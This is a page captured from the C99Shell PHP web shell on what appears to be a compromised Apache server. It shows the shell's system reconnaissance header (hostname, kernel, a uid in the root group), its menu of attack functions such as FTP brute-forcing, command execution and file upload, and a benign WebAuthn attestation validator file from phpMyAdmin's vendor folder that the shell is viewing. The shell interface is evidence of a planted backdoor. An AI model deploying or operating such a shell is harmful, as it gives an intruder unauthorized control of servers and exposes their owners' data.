!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/web-auth/webauthn-lib/src/   drwxr-xr-x
Free 28.2 GB of 117.98 GB (23.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AuthenticatorAttestationResponseValidator.php (17.38 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

/*
 * The MIT License (MIT)
 *
 * Copyright (c) 2014-2021 Spomky-Labs
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE file for details.
 */

namespace Webauthn;

use 
Assert\Assertion;
use function 
count;
use function 
in_array;
use 
InvalidArgumentException;
use function 
is_string;
use 
LogicException;
use 
Psr\Http\Message\ServerRequestInterface;
use 
Psr\Log\LoggerInterface;
use 
Psr\Log\NullLogger;
use 
Ramsey\Uuid\Uuid;
use function 
Safe\parse_url;
use function 
Safe\sprintf;
use 
Throwable;
use 
Webauthn\AttestationStatement\AttestationObject;
use 
Webauthn\AttestationStatement\AttestationStatement;
use 
Webauthn\AttestationStatement\AttestationStatementSupportManager;
use 
Webauthn\AuthenticationExtensions\AuthenticationExtensionsClientInputs;
use 
Webauthn\AuthenticationExtensions\AuthenticationExtensionsClientOutputs;
use 
Webauthn\AuthenticationExtensions\ExtensionOutputCheckerHandler;
use 
Webauthn\CertificateChainChecker\CertificateChainChecker;
use 
Webauthn\MetadataService\MetadataStatement;
use 
Webauthn\MetadataService\MetadataStatementRepository;
use 
Webauthn\MetadataService\StatusReport;
use 
Webauthn\TokenBinding\TokenBindingHandler;
use 
Webauthn\TrustPath\CertificateTrustPath;
use 
Webauthn\TrustPath\EmptyTrustPath;

class 
AuthenticatorAttestationResponseValidator
{
    
/**
     * @var AttestationStatementSupportManager
     */
    
private $attestationStatementSupportManager;

    
/**
     * @var PublicKeyCredentialSourceRepository
     */
    
private $publicKeyCredentialSource;

    
/**
     * @var TokenBindingHandler
     */
    
private $tokenBindingHandler;

    
/**
     * @var ExtensionOutputCheckerHandler
     */
    
private $extensionOutputCheckerHandler;

    
/**
     * @var LoggerInterface
     */
    
private $logger;

    
/**
     * @var MetadataStatementRepository|null
     */
    
private $metadataStatementRepository;

    
/**
     * @var CertificateChainChecker|null
     */
    
private $certificateChainChecker;

    public function 
__construct(AttestationStatementSupportManager $attestationStatementSupportManagerPublicKeyCredentialSourceRepository $publicKeyCredentialSourceTokenBindingHandler $tokenBindingHandlerExtensionOutputCheckerHandler $extensionOutputCheckerHandler, ?MetadataStatementRepository $metadataStatementRepository null, ?LoggerInterface $logger null)
    {
        if (
null !== $logger) {
            @
trigger_error('The argument "logger" is deprecated since version 3.3 and will be removed in 4.0. Please use the method "setLogger".'E_USER_DEPRECATED);
        }
        if (
null !== $metadataStatementRepository) {
            @
trigger_error('The argument "metadataStatementRepository" is deprecated since version 3.3 and will be removed in 4.0. Please use the method "setMetadataStatementRepository".'E_USER_DEPRECATED);
        }
        
$this->attestationStatementSupportManager $attestationStatementSupportManager;
        
$this->publicKeyCredentialSource $publicKeyCredentialSource;
        
$this->tokenBindingHandler $tokenBindingHandler;
        
$this->extensionOutputCheckerHandler $extensionOutputCheckerHandler;
        
$this->metadataStatementRepository $metadataStatementRepository;
        
$this->logger $logger ?? new NullLogger();
    }

    public function 
setLogger(LoggerInterface $logger): self
    
{
        
$this->logger $logger;

        return 
$this;
    }

    public function 
setCertificateChainChecker(CertificateChainChecker $certificateChainChecker): self
    
{
        
$this->certificateChainChecker $certificateChainChecker;

        return 
$this;
    }

    public function 
setMetadataStatementRepository(MetadataStatementRepository $metadataStatementRepository): self
    
{
        
$this->metadataStatementRepository $metadataStatementRepository;

        return 
$this;
    }

    
/**
     * @see https://www.w3.org/TR/webauthn/#registering-a-new-credential
     */
    
public function check(AuthenticatorAttestationResponse $authenticatorAttestationResponsePublicKeyCredentialCreationOptions $publicKeyCredentialCreationOptionsServerRequestInterface $request, array $securedRelyingPartyId = []): PublicKeyCredentialSource
    
{
        try {
            
$this->logger->info('Checking the authenticator attestation response', [
                
'authenticatorAttestationResponse' => $authenticatorAttestationResponse,
                
'publicKeyCredentialCreationOptions' => $publicKeyCredentialCreationOptions,
                
'host' => $request->getUri()->getHost(),
            ]);
            
/** @see 7.1.1 */
            //Nothing to do

            /** @see 7.1.2 */
            
$C $authenticatorAttestationResponse->getClientDataJSON();

            
/** @see 7.1.3 */
            
Assertion::eq('webauthn.create'$C->getType(), 'The client data type is not "webauthn.create".');

            
/** @see 7.1.4 */
            
Assertion::true(hash_equals($publicKeyCredentialCreationOptions->getChallenge(), $C->getChallenge()), 'Invalid challenge.');

            
/** @see 7.1.5 */
            
$rpId $publicKeyCredentialCreationOptions->getRp()->getId() ?? $request->getUri()->getHost();
            
$facetId $this->getFacetId($rpId$publicKeyCredentialCreationOptions->getExtensions(), $authenticatorAttestationResponse->getAttestationObject()->getAuthData()->getExtensions());

            
$parsedRelyingPartyId parse_url($C->getOrigin());
            
Assertion::isArray($parsedRelyingPartyIdsprintf('The origin URI "%s" is not valid'$C->getOrigin()));
            
Assertion::keyExists($parsedRelyingPartyId'scheme''Invalid origin rpId.');
            
$clientDataRpId $parsedRelyingPartyId['host'] ?? '';
            
Assertion::notEmpty($clientDataRpId'Invalid origin rpId.');
            
$rpIdLength mb_strlen($facetId);
            
Assertion::eq(mb_substr('.'.$clientDataRpId, -($rpIdLength 1)), '.'.$facetId'rpId mismatch.');

            if (!
in_array($facetId$securedRelyingPartyIdtrue)) {
                
$scheme $parsedRelyingPartyId['scheme'] ?? '';
                
Assertion::eq('https'$scheme'Invalid scheme. HTTPS required.');
            }

            
/** @see 7.1.6 */
            
if (null !== $C->getTokenBinding()) {
                
$this->tokenBindingHandler->check($C->getTokenBinding(), $request);
            }

            
/** @see 7.1.7 */
            
$clientDataJSONHash hash('sha256'$authenticatorAttestationResponse->getClientDataJSON()->getRawData(), true);

            
/** @see 7.1.8 */
            
$attestationObject $authenticatorAttestationResponse->getAttestationObject();

            
/** @see 7.1.9 */
            
$rpIdHash hash('sha256'$facetIdtrue);
            
Assertion::true(hash_equals($rpIdHash$attestationObject->getAuthData()->getRpIdHash()), 'rpId hash mismatch.');

            
/** @see 7.1.10 */
            
Assertion::true($attestationObject->getAuthData()->isUserPresent(), 'User was not present');
            
/** @see 7.1.11 */
            
if (AuthenticatorSelectionCriteria::USER_VERIFICATION_REQUIREMENT_REQUIRED === $publicKeyCredentialCreationOptions->getAuthenticatorSelection()->getUserVerification()) {
                
Assertion::true($attestationObject->getAuthData()->isUserVerified(), 'User authentication required.');
            }

            
/** @see 7.1.12 */
            
$extensionsClientOutputs $attestationObject->getAuthData()->getExtensions();
            if (
null !== $extensionsClientOutputs) {
                
$this->extensionOutputCheckerHandler->check(
                    
$publicKeyCredentialCreationOptions->getExtensions(),
                    
$extensionsClientOutputs
                
);
            }

            
/** @see 7.1.13 */
            
$this->checkMetadataStatement($publicKeyCredentialCreationOptions$attestationObject);
            
$fmt $attestationObject->getAttStmt()->getFmt();
            
Assertion::true($this->attestationStatementSupportManager->has($fmt), 'Unsupported attestation statement format.');

            
/** @see 7.1.14 */
            
$attestationStatementSupport $this->attestationStatementSupportManager->get($fmt);
            
Assertion::true($attestationStatementSupport->isValid($clientDataJSONHash$attestationObject->getAttStmt(), $attestationObject->getAuthData()), 'Invalid attestation statement.');

            
/** @see 7.1.15 */
            /** @see 7.1.16 */
            /** @see 7.1.17 */
            
Assertion::true($attestationObject->getAuthData()->hasAttestedCredentialData(), 'There is no attested credential data.');
            
$attestedCredentialData $attestationObject->getAuthData()->getAttestedCredentialData();
            
Assertion::notNull($attestedCredentialData'There is no attested credential data.');
            
$credentialId $attestedCredentialData->getCredentialId();
            
Assertion::null($this->publicKeyCredentialSource->findOneByCredentialId($credentialId), 'The credential ID already exists.');

            
/** @see 7.1.18 */
            /** @see 7.1.19 */
            
$publicKeyCredentialSource $this->createPublicKeyCredentialSource(
                
$credentialId,
                
$attestedCredentialData,
                
$attestationObject,
                
$publicKeyCredentialCreationOptions->getUser()->getId()
            );
            
$this->logger->info('The attestation is valid');
            
$this->logger->debug('Public Key Credential Source', ['publicKeyCredentialSource' => $publicKeyCredentialSource]);

            return 
$publicKeyCredentialSource;
        } catch (
Throwable $throwable) {
            
$this->logger->error('An error occurred', [
                
'exception' => $throwable,
            ]);
            throw 
$throwable;
        }
    }

    private function 
checkCertificateChain(AttestationStatement $attestationStatement, ?MetadataStatement $metadataStatement): void
    
{
        
$trustPath $attestationStatement->getTrustPath();
        if (!
$trustPath instanceof CertificateTrustPath) {
            return;
        }
        
$authenticatorCertificates $trustPath->getCertificates();

        if (
null === $metadataStatement) {
            
// @phpstan-ignore-next-line
            
null === $this->certificateChainChecker CertificateToolbox::checkChain($authenticatorCertificates) : $this->certificateChainChecker->check($authenticatorCertificates, [], null);

            return;
        }

        
$metadataStatementCertificates $metadataStatement->getAttestationRootCertificates();
        
$rootStatementCertificates $metadataStatement->getRootCertificates();
        foreach (
$metadataStatementCertificates as $key => $metadataStatementCertificate) {
            
$metadataStatementCertificates[$key] = CertificateToolbox::fixPEMStructure($metadataStatementCertificate);
        }
        
$trustedCertificates array_merge(
            
$metadataStatementCertificates,
            
$rootStatementCertificates
        
);

        
// @phpstan-ignore-next-line
        
null === $this->certificateChainChecker CertificateToolbox::checkChain($authenticatorCertificates$trustedCertificates) : $this->certificateChainChecker->check($authenticatorCertificates$trustedCertificates);
    }

    private function 
checkMetadataStatement(PublicKeyCredentialCreationOptions $publicKeyCredentialCreationOptionsAttestationObject $attestationObject): void
    
{
        
$attestationStatement $attestationObject->getAttStmt();
        
$attestedCredentialData $attestationObject->getAuthData()->getAttestedCredentialData();
        
Assertion::notNull($attestedCredentialData'No attested credential data found');
        
$aaguid $attestedCredentialData->getAaguid()->toString();
        if (
PublicKeyCredentialCreationOptions::ATTESTATION_CONVEYANCE_PREFERENCE_NONE === $publicKeyCredentialCreationOptions->getAttestation()) {
            
$this->logger->debug('No attestation is asked.');
            
//No attestation is asked. We shall ensure that the data is anonymous.
            
if (
                
'00000000-0000-0000-0000-000000000000' === $aaguid
                
&& (AttestationStatement::TYPE_NONE === $attestationStatement->getType() || AttestationStatement::TYPE_SELF === $attestationStatement->getType())) {
                
$this->logger->debug('The Attestation Statement is anonymous.');
                
$this->checkCertificateChain($attestationStatementnull);

                return;
            }
            
$this->logger->debug('Anonymization required. AAGUID and Attestation Statement changed.', [
                
'aaguid' => $aaguid,
                
'AttestationStatement' => $attestationStatement,
            ]);
            
$attestedCredentialData->setAaguid(
                
Uuid::fromString('00000000-0000-0000-0000-000000000000')
            );
            
$attestationObject->setAttStmt(AttestationStatement::createNone('none', [], new EmptyTrustPath()));

            return;
        }
        if (
AttestationStatement::TYPE_NONE === $attestationStatement->getType()) {
            
$this->logger->debug('No attestation returned.');
            
//No attestation is returned. We shall ensure that the AAGUID is a null one.
            
if ('00000000-0000-0000-0000-000000000000' !== $aaguid) {
                
$this->logger->debug('Anonymization required. AAGUID and Attestation Statement changed.', [
                    
'aaguid' => $aaguid,
                    
'AttestationStatement' => $attestationStatement,
                ]);
                
$attestedCredentialData->setAaguid(
                    
Uuid::fromString('00000000-0000-0000-0000-000000000000')
                );

                return;
            }

            return;
        }

        
//The MDS Repository is mandatory here
        
Assertion::notNull($this->metadataStatementRepository'The Metadata Statement Repository is mandatory when requesting attestation objects.');
        
$metadataStatement $this->metadataStatementRepository->findOneByAAGUID($aaguid);

        
// We check the last status report
        
$this->checkStatusReport(null === $metadataStatement ? [] : $metadataStatement->getStatusReports());

        
// We check the certificate chain (if any)
        
$this->checkCertificateChain($attestationStatement$metadataStatement);

        
// If no Attestation Statement has been returned or if null AAGUID (=00000000-0000-0000-0000-000000000000)
        // => nothing to check
        
if ('00000000-0000-0000-0000-000000000000' === $aaguid || AttestationStatement::TYPE_NONE === $attestationStatement->getType()) {
            return;
        }

        
// At this point, the Metadata Statement is mandatory
        
Assertion::notNull($metadataStatementsprintf('The Metadata Statement for the AAGUID "%s" is missing'$aaguid));

        
// Check Attestation Type is allowed
        
if (!== count($metadataStatement->getAttestationTypes())) {
            
$type $this->getAttestationType($attestationStatement);
            
Assertion::inArray($type$metadataStatement->getAttestationTypes(), 'Invalid attestation statement. The attestation type is not allowed for this authenticator');
        }
    }

    
/**
     * @param StatusReport[] $statusReports
     */
    
private function checkStatusReport(array $statusReports): void
    
{
        if (
!== count($statusReports)) {
            
$lastStatusReport end($statusReports);
            if (
$lastStatusReport->isCompromised()) {
                throw new 
LogicException('The authenticator is compromised and cannot be used');
            }
        }
    }

    private function 
createPublicKeyCredentialSource(string $credentialIdAttestedCredentialData $attestedCredentialDataAttestationObject $attestationObjectstring $userHandle): PublicKeyCredentialSource
    
{
        return new 
PublicKeyCredentialSource(
            
$credentialId,
            
PublicKeyCredentialDescriptor::CREDENTIAL_TYPE_PUBLIC_KEY,
            [],
            
$attestationObject->getAttStmt()->getType(),
            
$attestationObject->getAttStmt()->getTrustPath(),
            
$attestedCredentialData->getAaguid(),
            
$attestedCredentialData->getCredentialPublicKey(),
            
$userHandle,
            
$attestationObject->getAuthData()->getSignCount()
        );
    }

    private function 
getAttestationType(AttestationStatement $attestationStatement): int
    
{
        switch (
$attestationStatement->getType()) {
            case 
AttestationStatement::TYPE_BASIC:
                return 
MetadataStatement::ATTESTATION_BASIC_FULL;
            case 
AttestationStatement::TYPE_SELF:
                return 
MetadataStatement::ATTESTATION_BASIC_SURROGATE;
            case 
AttestationStatement::TYPE_ATTCA:
                return 
MetadataStatement::ATTESTATION_ATTCA;
            case 
AttestationStatement::TYPE_ECDAA:
                return 
MetadataStatement::ATTESTATION_ECDAA;
            default:
                throw new 
InvalidArgumentException('Invalid attestation type');
        }
    }

    private function 
getFacetId(string $rpIdAuthenticationExtensionsClientInputs $authenticationExtensionsClientInputs, ?AuthenticationExtensionsClientOutputs $authenticationExtensionsClientOutputs): string
    
{
        if (
null === $authenticationExtensionsClientOutputs || !$authenticationExtensionsClientInputs->has('appid') || !$authenticationExtensionsClientOutputs->has('appid')) {
            return 
$rpId;
        }
        
$appId $authenticationExtensionsClientInputs->get('appid')->value();
        
$wasUsed $authenticationExtensionsClientOutputs->get('appid')->value();
        if (!
is_string($appId) || true !== $wasUsed) {
            return 
$rpId;
        }

        return 
$appId;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--